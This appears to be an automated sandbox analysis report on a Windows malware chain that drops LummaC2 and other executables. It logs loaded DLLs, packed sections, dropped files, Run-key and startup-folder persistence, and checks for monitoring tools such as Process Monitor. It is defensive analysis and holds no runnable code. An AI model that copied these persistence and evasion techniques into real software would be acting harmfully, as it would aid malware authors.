Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static file information: File size 1909248 > 1048576

Source: file.exe

Static PE information: Raw size of puhiakkr is bigger than: 0x100000 < 0x1a0600

Source:	Binary string: my_library.pdbU source: 98a31794c6.exe, 00000008.00000003.2367784987.00000000050BB000.00000004.00001000.00020000.00000000.sdmp, 98a31794c6.exe, 00000008.00000002.2409293967.00000000007DC000.00000040.00000001.01000000.0000000D.sdmp, 98a31794c6.exe, 0000000C.00000003.2549164946.000000000522B000.00000004.00001000.00020000.00000000.sdmp, 98a31794c6.exe, 0000000C.00000002.2589589697.00000000007DC000.00000040.00000001.01000000.0000000D.sdmp, 98a31794c6.exe, 0000000F.00000002.2755768193.00000000007DC000.00000040.00000001.01000000.0000000D.sdmp, 98a31794c6.exe, 0000000F.00000003.2715238456.000000000524B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: 98a31794c6.exe, 98a31794c6.exe, 00000008.00000003.2367784987.00000000050BB000.00000004.00001000.00020000.00000000.sdmp, 98a31794c6.exe, 00000008.00000002.2409293967.00000000007DC000.00000040.00000001.01000000.0000000D.sdmp, 98a31794c6.exe, 0000000C.00000003.2549164946.000000000522B000.00000004.00001000.00020000.00000000.sdmp, 98a31794c6.exe, 0000000C.00000002.2589589697.00000000007DC000.00000040.00000001.01000000.0000000D.sdmp, 98a31794c6.exe, 0000000F.00000002.2755768193.00000000007DC000.00000040.00000001.01000000.0000000D.sdmp, 98a31794c6.exe, 0000000F.00000003.2715238456.000000000524B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: uhshdsh.exe, 00000006.00000002.2283771462.0000000004231000.00000004.00000800.00020000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2292050435.0000000005280000.00000004.08000000.00040000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2278148881.0000000003763000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: uhshdsh.exe, 00000006.00000002.2283771462.0000000004231000.00000004.00000800.00020000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2292050435.0000000005280000.00000004.08000000.00040000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2278148881.0000000003763000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: uhshdsh.exe, 00000006.00000002.2296065132.0000000005F40000.00000004.08000000.00040000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2283771462.00000000047C1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe, 00000011.00000003.3006887166.00000000048F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: uhshdsh.exe, 00000006.00000002.2296065132.0000000005F40000.00000004.08000000.00040000.00000000.sdmp, uhshdsh.exe, 00000006.00000002.2283771462.00000000047C1000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.160000.0.unpack :EW;.rsrc:W;.idata :W; :EW;puhiakkr:EW;kzukqnss:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;puhiakkr:EW;kzukqnss:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 2.2.axplong.exe.4d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;puhiakkr:EW;kzukqnss:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;puhiakkr:EW;kzukqnss:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 3.2.axplong.exe.4d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;puhiakkr:EW;kzukqnss:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;puhiakkr:EW;kzukqnss:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Unpacked PE file: 8.2.98a31794c6.exe.7b0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;twbahnth:EW;ahateppd:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;twbahnth:EW;ahateppd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Unpacked PE file: 9.2.69de3a997f.exe.60000.0.unpack :EW;.rsrc :W;.idata :W;ejiioxjp:EW;itphzhqt:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;ejiioxjp:EW;itphzhqt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Unpacked PE file: 12.2.98a31794c6.exe.7b0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;twbahnth:EW;ahateppd:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;twbahnth:EW;ahateppd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Unpacked PE file: 13.2.69de3a997f.exe.60000.0.unpack :EW;.rsrc :W;.idata :W;ejiioxjp:EW;itphzhqt:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;ejiioxjp:EW;itphzhqt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 14.2.axplong.exe.4d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;puhiakkr:EW;kzukqnss:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;puhiakkr:EW;kzukqnss:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Unpacked PE file: 15.2.98a31794c6.exe.7b0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;twbahnth:EW;ahateppd:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;twbahnth:EW;ahateppd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Unpacked PE file: 16.2.69de3a997f.exe.60000.0.unpack :EW;.rsrc :W;.idata :W;ejiioxjp:EW;itphzhqt:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;ejiioxjp:EW;itphzhqt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Unpacked PE file: 17.2.OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe.e40000.0.unpack :EW;.rsrc:W;.idata :W;bbzqfojp:EW;ynvwdqnr:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Unpacked PE file: 18.2.ZVJQ5P3XZNPH9JRJ.exe.fa0000.0.unpack :EW;.rsrc:W;.idata :W;bbzqfojp:EW;ynvwdqnr:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 19.2.axplong.exe.4d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;puhiakkr:EW;kzukqnss:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;puhiakkr:EW;kzukqnss:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 20.2.axplong.exe.4d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;puhiakkr:EW;kzukqnss:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;puhiakkr:EW;kzukqnss:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 21.2.axplong.exe.4d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;puhiakkr:EW;kzukqnss:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;puhiakkr:EW;kzukqnss:EW;.taggant:EW;

.NET source code contains potential unpacker

Source: 6.2.uhshdsh.exe.42ad5b0.3.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 6.2.uhshdsh.exe.42ad5b0.3.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 6.2.uhshdsh.exe.42ad5b0.3.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 6.2.uhshdsh.exe.5f40000.10.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 6.2.uhshdsh.exe.5f40000.10.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 6.2.uhshdsh.exe.5f40000.10.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 6.2.uhshdsh.exe.5f40000.10.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 6.2.uhshdsh.exe.5f40000.10.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Yara detected Costura Assembly Loader

Source: Yara match	File source: 6.2.uhshdsh.exe.6080000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2296941343.0000000006080000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2278148881.000000000328C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: uhshdsh.exe PID: 6448, type: MEMORYSTR

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe0.2.dr	Static PE information: real checksum: 0x2dff8b should be: 0x2e1269
Source: 69de3a997f.exe.2.dr	Static PE information: real checksum: 0x2dff8b should be: 0x2e1269
Source: uhshdsh.exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x2170c9
Source: 98a31794c6.exe.2.dr	Static PE information: real checksum: 0x2145ec should be: 0x216610
Source: LummaC2[1].exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x5876f
Source: axplong.exe.0.dr	Static PE information: real checksum: 0x1e152f should be: 0x1d7e36
Source: SysHost.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x2170c9
Source: LummaC2.exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x5876f
Source: file.exe	Static PE information: real checksum: 0x1e152f should be: 0x1d7e36
Source: uhshdsh[1].exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x2170c9
Source: random[1].exe.2.dr	Static PE information: real checksum: 0x2145ec should be: 0x216610

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: puhiakkr
Source: file.exe	Static PE information: section name: kzukqnss
Source: file.exe	Static PE information: section name: .taggant
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: .idata
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: puhiakkr
Source: axplong.exe.0.dr	Static PE information: section name: kzukqnss
Source: axplong.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.2.dr	Static PE information: section name:
Source: random[1].exe.2.dr	Static PE information: section name: .rsrc
Source: random[1].exe.2.dr	Static PE information: section name: .idata
Source: random[1].exe.2.dr	Static PE information: section name:
Source: random[1].exe.2.dr	Static PE information: section name: twbahnth
Source: random[1].exe.2.dr	Static PE information: section name: ahateppd
Source: random[1].exe.2.dr	Static PE information: section name: .taggant
Source: 98a31794c6.exe.2.dr	Static PE information: section name:
Source: 98a31794c6.exe.2.dr	Static PE information: section name: .rsrc
Source: 98a31794c6.exe.2.dr	Static PE information: section name: .idata
Source: 98a31794c6.exe.2.dr	Static PE information: section name:
Source: 98a31794c6.exe.2.dr	Static PE information: section name: twbahnth
Source: 98a31794c6.exe.2.dr	Static PE information: section name: ahateppd
Source: 98a31794c6.exe.2.dr	Static PE information: section name: .taggant
Source: random[1].exe0.2.dr	Static PE information: section name:
Source: random[1].exe0.2.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.2.dr	Static PE information: section name: .idata
Source: random[1].exe0.2.dr	Static PE information: section name: ejiioxjp
Source: random[1].exe0.2.dr	Static PE information: section name: itphzhqt
Source: random[1].exe0.2.dr	Static PE information: section name: .taggant
Source: 69de3a997f.exe.2.dr	Static PE information: section name:
Source: 69de3a997f.exe.2.dr	Static PE information: section name: .rsrc
Source: 69de3a997f.exe.2.dr	Static PE information: section name: .idata
Source: 69de3a997f.exe.2.dr	Static PE information: section name: ejiioxjp
Source: 69de3a997f.exe.2.dr	Static PE information: section name: itphzhqt
Source: 69de3a997f.exe.2.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 2_2_004ED84C push ecx; ret	2_2_004ED85F
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_05272D7D push ebx; ret	6_2_05272D92
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_068A545A push edi; iretd	6_2_068A545B
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_068A7DD9 push edi; iretd	6_2_068A7DDA
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 6_2_068A0D44 push edi; iretd	6_2_068A0D45
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_0108EA47 push cs; ret	9_3_0108EA48
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_0108EA47 push cs; ret	9_3_0108EA48
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_0108EA47 push cs; ret	9_3_0108EA48
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_0108EA47 push cs; ret	9_3_0108EA48
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_0108EA47 push cs; ret	9_3_0108EA48
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_0108EA47 push cs; ret	9_3_0108EA48
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_0109C980 pushad ; retf	9_3_0109C981
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_0109C980 pushad ; retf	9_3_0109C981
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_0109C980 pushad ; retf	9_3_0109C981
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_0109C980 pushad ; retf	9_3_0109C981
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_0109C980 pushad ; retf	9_3_0109C981
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_0109C980 pushad ; retf	9_3_0109C981
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_0109C9E0 pushad ; retf	9_3_0109C9E1
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_0109C9E0 pushad ; retf	9_3_0109C9E1
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_0109C9E0 pushad ; retf	9_3_0109C9E1
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_0109C9E0 pushad ; retf	9_3_0109C9E1
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_0109C9E0 pushad ; retf	9_3_0109C9E1
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_0109C9E0 pushad ; retf	9_3_0109C9E1
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_01095C90 push 1800FE91h; retf	9_3_01095C95
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_01095C90 push 1800FE91h; retf	9_3_01095C95
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_01095C90 push 1800FE91h; retf	9_3_01095C95
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_0109C980 pushad ; retf	9_3_0109C981
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_0109C980 pushad ; retf	9_3_0109C981
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_0109C980 pushad ; retf	9_3_0109C981
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_0109C980 pushad ; retf	9_3_0109C981
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Code function: 9_3_0109C980 pushad ; retf	9_3_0109C981

Source: file.exe	Static PE information: section name: entropy: 7.986254795164455
Source: file.exe	Static PE information: section name: puhiakkr entropy: 7.953368879737913
Source: axplong.exe.0.dr	Static PE information: section name: entropy: 7.986254795164455
Source: axplong.exe.0.dr	Static PE information: section name: puhiakkr entropy: 7.953368879737913
Source: random[1].exe.2.dr	Static PE information: section name: twbahnth entropy: 7.9536824312472065
Source: 98a31794c6.exe.2.dr	Static PE information: section name: twbahnth entropy: 7.9536824312472065
Source: random[1].exe0.2.dr	Static PE information: section name: entropy: 7.977204695996007
Source: 69de3a997f.exe.2.dr	Static PE information: section name: entropy: 7.977204695996007

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File created: C:\Users\user\AppData\Local\Temp\ZVJQ5P3XZNPH9JRJ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\LummaC2[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	File created: C:\Users\user\AppData\Roaming\SysHost.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	File created: C:\Users\user\AppData\Local\Temp\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\uhshdsh[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 98a31794c6.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 69de3a997f.exe			Jump to behavior

Drops VBS files to the startup folder

Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysHost.vbs

Jump to dropped file

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
